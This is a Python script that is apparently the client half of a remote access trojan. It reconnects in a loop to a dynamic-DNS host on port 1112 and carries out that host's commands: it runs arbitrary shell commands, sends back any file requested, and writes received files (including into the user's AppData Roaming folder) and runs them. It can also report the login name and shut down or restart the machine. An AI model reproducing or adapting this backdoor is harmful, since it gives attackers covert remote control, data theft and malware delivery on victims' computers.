import socket
import os
import time

while True:
    try:
        s = socket.socket()
        host = 'hackhosti1.ddns.net'
        port = 1112

        s.connect((host, port))

        while True:
            cmd = s.recv(50000).decode()

            if cmd == "send-info":
                toast.show_toast("Example two",
                                 "This notification is in it's own thread!",
                                 icon_path=None,
                                 duration=5,
                                 threaded=True)




            elif cmd == "username":
                username = os.getlogin()
                s.send(username.encode())

            elif cmd == "run":
                file = s.recv(5000).decode()
                os.system(file)

            elif cmd == "upload":
                dir = s.recv(50000)
                new_file = open(dir, "wb")
                done = True
                while done:
                    data = s.recv(21555639160)
                    if str(data) == "b'Done!'":
                        done = False
                    else:
                        new_file.write(data)

                new_file.close()
                print("Done with reciving")

            elif cmd == "shutdown":
                os.system("shutdown /s /t 0")

            elif cmd == "restart":
                os.system("shutdown -t 0 -r -f")

            elif cmd == "download":
                dir = s.recv(50000).decode()
                file = open(dir, "rb")
                data = file.read()
                s.send(data)

            elif cmd == "execute":
                dir = s.recv(50000).decode()
                length = 10000
                new_file = open(dir, "wb")
                done = True
                try:
                    while length > 0:
                        length -= 1
                        s.settimeout(2.0)
                        data = s.recv(50000)
                        new_file.write(data)
                except:
                    pass
                new_file.close()
                s.settimeout(None)
                time.sleep(3)
                os.system(dir)

            elif cmd == "secretexe":
                name = s.recv(50000).decode()
                username = os.getlogin()
                dir = f"C://Users//{username}//AppData//Roaming//{name}"
                length = 10000
                new_file = open(dir, "wb")
                done = True
                try:
                    while length > 0:
                        length -= 1
                        s.settimeout(2.0)
                        data = s.recv(50000)
                        new_file.write(data)
                except Exception as e:
                    print(e)
                new_file.close()
                s.settimeout(None)
                time.sleep(3)
                os.system(dir)

    except:
        time.sleep(2)